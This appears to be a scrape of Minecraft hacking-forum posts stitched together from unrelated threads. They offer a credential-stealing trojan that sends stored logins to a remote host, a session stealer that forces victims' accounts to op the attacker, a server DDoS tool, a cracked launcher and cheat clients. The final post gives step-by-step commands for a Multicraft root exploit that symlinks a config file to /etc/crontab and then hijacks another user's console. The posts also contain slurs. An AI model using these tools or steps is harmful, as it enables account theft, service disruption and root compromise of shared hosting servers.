[HOT] VERY NEW EXPLOIT [CODE]

TH4MxCR4CK and me found a exploit while coding a bit on our client today.
Changed some Vars and shit and found this;



NOTE: Just watch the first ~4 minutes, the rest is just some gay outro TH4MxFAG did.

Rate and make some guessings how we did this :)

We're gonna give away the Source to some trusted People.

[TUT]Simple HWID Protection[TUT]

Spxrks HWID Tutorial

Introduction:
Hey Guys, I wanted to make up for the code dump I did a few months back on my HWID.
I classed it as a tutorial (I don't know why) but it was just me being in a dickish mood. I know this isn't the best protection but who cares.

Tutorial:
1. Go into Minecraft.Java


2. Search for "Post Startup"(CTRL+F)

3. Delete this code underneath it


4. Add this code (Warning, Very big. Like my dick.)

Spoiler (Click to View)

5. Now add this to your variables class or whatever.


6. The code you just copied should have errors. Use Quick Fix in Eclipse and it should fix it. Also, change everything which is mine. Such as the Dropbox link. You should also change "DeityTut" to whatever class you have "verifylist" in.

7. Now download my HWID Generator. Don't worry, its clean.
Download
(Scan)

8. Send that HWID Tool to whoever you're giving your client to. Make them generate the HWID and send the HWID code to you then you add that into your dropbox link.

(Sorry I didn't explain all the code lol. I wanted to do this quick and go to the shop to get a few energy drinks lolol)
Please tell me if I missed anything.

[FREE] TrojCraft The Best Minecraft Trojan

v1.0

I present to you TrojCraft v1.0, a program I wrote after discovering the weakness behind Minecraft's storage of remembered usernames and passwords.
This program is like your average trojan horse, but it is built specifically to pull user account information and send it via Sockets to a host.

I was considering putting this up for sale in the Marketplace, but I figured I would hold off on that until I get better at coding things.

Note: In order to prevent distribution elsewhere, the program will ONLY work until October. Once the time comes, I will update this post with a new version of the program.

Requires .NET 4.0 for both the Client and the Server.

Requires JDK 6 to be installed on the machine running the main program.

< Virus Scan >

Multi-client capabilities.
Asynchronous connections.
Download client's lastlogin file and use ityourself.
Monitors changes in stored username/password combinations.
Customize output icon from any PNG, JPG, GIF, or BMP.

Please leave any comments, suggestions, bugs, or anything else below!

[1.3.1/1.3.2]MCx3LP's Hack Client | Crash | Godmode | KillAura | NC Glide | etc

All Features

Kill Aura - Attacks anything within reach distance.
Fly - Fly around.
NoFall - No Fall Damage.
Xray - seee all ores.
Crash - Crash ONLY! Vanilla server.
GodMode - Still buggy, sets the player as dead.
Insta-mine - Improved speedmine, Diamond tools as fast as gold tools.
Sneak - send sneak packets, and move slowly to bypass nocheat.
ChestESP - Find chests.
PlayerESP - Player Tracer and box ESP.
Spider - Climb walls like spider man.
Aimbot - Auto aim.
Sprint - Emulates sprinting.
No Web - not affected by web.
No Swing - Dont send swing packets, good for trolling.
Jesus - walk on water.
Reach - reach hack.
Radar - a radar of all the players.
noweather - set the weather off or on.
Fast Place - Place blocks fast.
fullbright - see in the dark.
Speed Mine - Slightly faster mining.

Comments
.help
.crash
.autotool
.mine
.spam




Download Here

Virus Scan
https://www.virustotal.com/file/dd9f...is/1345203043/

http://virusscan.jotti.org/en/scanre...7ef73ac6f507c0

Media

HOW TO USE AND INSTALL A HACKED CLIENT FOR N00BS

1. this is a tutorial on how to install a hacked client
   First of all you need to download the client. I recomment nodus it has many commands or you can use Wizard hax for newbies who just want a simple hack to use. After you download it it should open up a winrar or winzip file. Make sure you have either one of the 2 programs here are the download links:
   WinRAR download and support: Download now
   Download WinZip®
   
   then go to start. if you have windows 7 type in %appdata% and if you do not open up windows explorer and type in %appdata%
   
   Click here to view the original image of 1280x800px.
   
   After you have done that there will be a file named .minecraft open that up
   
   Click here to view the original image of 1280x800px.
   
   After you opened up .minecraft click bin and then this should come up:
   
   Click here to view the original image of 1280x800px.
   
   Well something like that. Now open up you downloded client. I download wizard hax because obviosly i posted it.........
   after downloading it open it up and then there should be a jar file. something that looks a little like this
   
   Click here to view the original image of 1280x800px.
   
   Now you need to have both the minecraft bin window and the winzip file open because inside the winzip file there is the minecraft.jar. Sometimes all the posts wont have that like some will say something like "tediumv2.jar" instead of "minecraft.jar" so in the winrar or winzip archive right click it and choose rename and change it to minecraft.jar Then drag the minecraft jar in the zinzip/rar into the bin like this:
   
   Click here to view the original image of 1280x800px.
   
   Then after you have draged it this will show up:
   
   Click here to view the original image of 1280x800px.
   
   click the move and replace button and then all you have to do is start minecraft and you are done. If you are testing this and if you did what i did the opening screeen will look something like this
   
   Click here to view the original image of 854x480px.
   
   This is the wizard hax opening screen and usually the creator will change the screen a little so you know if the client is working. If you have any questions just ask me do @zz3417 and ask me your question
   this post was inspired by some newbie asking me how to use my wizard client. All the details about this client is in the wizard hax team post. i posted a new client guys. And i hope you liked this and
   
   

Cracked Minecraft [Auto Updater]

All credits go to KingAgnostic and AnjoCaido for this client.

This client will force autoupdate your game client files, giving you the most recent files. All there is here is minecraft.exe, but it's been cracked and remade. It's self explanatory.


Click here to view the original image of 1440x900px.


SCAN1

I am currently # 1631 in scanning queue.

SCAN2

To use, open up minecraft.exe from any location, and make a name in the appropriate field.

Tick "Force Update" and it will update the client if necessary.

Then press "Enter Game."



If you get this error, just disregard it, close it and keep clicking until the launcher opens up.

ONLINE IS FULLY WORKING. YOU MUST FIND A Cracked SERVER THOUGH.

WILL ONLY WORK ON CRACKED/NON-WHITELISTED SERVERS.

 Download here

[Nodus] Session Stealer | ForceOP [1.2.5]

IMPORTANT!

You will have to portforward your "server" port or you won't be able to op yourself

Note: I didn't make this tool. All credits go to Scetch!

How to use:

1. Download the attachment.

2. Open the file and put the conntent of the zip into a new folder. (call it Force OP or something)

3. Open Start.bat

4. Fill the first 2 boxes with the server details where you want to let the slave say something.

5. Fill the messages in the slave should say when he joins your server at the third box(Messages).
Separate these with a ,(for example /op player1,/op player2)

Now we are going to make the server look like a server:

6. Fill the MOTD(server message, for example the server name)
Can be anything

7. Fill in the count of the players that are currently online and the max players that can be online.
Note these are fake stats.

8. Fill in the port you forwarded.

9. Click start and let the slave join your server. Note: You have to stay on the victims server!
He will get the outdated client error, meanwhile his account is saying the stuff you entered on the server you entered.

Screenshot:



Video:





Virusscans:

https://www.virustotal.com/file/df38...is/1334616416/

ForceOP.zip MD5:ff149bf884fe631fbccb56cbc61acbac - VirSCAN.org Scanners did not find malware!

Credits:

Scetch (Creator of this program)

Download Here

Minecraft Server DDOSser (Crasher)

Hello, this is a release of my server crasher.
So yea it crashes servers but you need good internet to do it.
Even if you have crappy internet it will crash most home-hosted servers.

Instructions:
1. Download and Extract ALL the files to your desktop or somewhere. (All the Files need to be in the same location!!!!)
2. Open Ping.txt and change the ping to the server you want to ddos.
3. Open DDos.exe
Wait until the server goes down.
If it doesent go down open the file once more.

Virus Scan:
https://www.virustotal.com/file/da34...is/1343894187/
Ddos.rar - Jotti's malware scan
THEY ARE FALSE POSITIVES!!!
@Polo @Nico @ahmadtaha26
Ill send source code if you don't trust me.
I'll also send the raw file.

Approve:
@Polo @Nico @ahmadtaha26

Tell me if you have any problems.



Download here

[1.3.1 UPDATED] | Nodus Client 9.7! | TTF | Custom Menus | Custom Binds/Aliases

-GUI-



-Console-



*TabGUI* -Player-



*TabGUI* -World-



*TabGUI* -Combat-



---------------------------

-Commands-



-Key Binding-

Most client are starting to add chat macros into their clients so you may be familiar with how these work. Nodus takes it a step farthur by letting you set any command to any key.

-bind [add/extra/del] [key] [command]

The first argument is adding a bind or deleting a bind (clearing a key), you can simply overwrite keys if you want to. If you want to add extra commands use the extra argument.
The second argument is the key name. By key name I mean the actual name of the key not the ID value. For example return or space.
The third argument is the command from the above list including it's arguments.

If you did everything right the command should now be bound to the key.

-Misc. Info-

When an update is available it will notify you on login.
Vanished players names are Purple.
Mob Disguise players names are Pink.
Sneaking players names are Light Red.
Friend player names are Yellow.
You won't attack your friends when using forcefield.
You won't aim at your friends when using aimbot.
When in aimbot you won't aim at friends.
Names can be visible up to 250 blocks.
Remoteview only works with people on radar.
You can connect to other servers in game or switch your texture pack.
Nodus by definition means "a problem", you mad?

 

** Nodus Changelog **
**NOT UPDATED FOR 9.5**
** Changelog for Nodus v8.4 **
Changes/Fixes:
* Improved derp (Now functions correctly on NoCheat)
* Increased speed at which derp spin (Spins you) and derp head (Spazzes head) work. (Faster)
* Removed "Buffer Overflow" kick.
* Fixed freecam toggling with disable is used.
* Fixed bind extra.
* Fixed spacing of radar.
-
Removed:
* NOTHING
-
Added:
* Added flood speed to flood command. (flood set)
* New derp modes. (hump & upsidedown)
* Added waypoints to text radar.
* Added chat hide command (-chat hide)
* Added modes to BowAimbot (Player/Mob/Both)


** Things that are removed may be added in at a later time.
*** The added commands are in the command list above.

All credits to go Scetch for this amazing client .

----------------------------------

Virus Scans:

VirusTotal

Jotti

---------------------------------------------
  Thanks.

]'
"
Enjoy.


Download Nodus

Real force op (and remote root)

Multicraft remote authenticated root exploit
Can be used to leverage console access, as well as "force op" oneself on any server hosted on the same provider as you.
Actually doing this exploit may cost you money and time!!!
1. Obtain Multicraft panel account on the same hosting provider as the target
2. Load a shell plugin (easy to code, and I'm sure there's at least 1 public one)
3. Connect to Bukkit server with shell plugin loaded
4. execute this:
rm white-list.txt
ln -s /etc/crontab white-list.txt
5. Go back to the panel, click Config Files
6. Edit white-list.txt
7. You now have write access, as root, to the system crontab. Raise some hell.
NOTE: The built in editor uses Windows line endings. You'll need a Firefox/Chrome addon like Tamper Data to change these to "normal"
"\n" instead of "\r\n" (%0A, not %0D%0A).

In order to actually get op on the target server, from here on out, we'll need to not be retards. Run this after becoming root:

sudo -u (target) screen -x

You should now be in their console.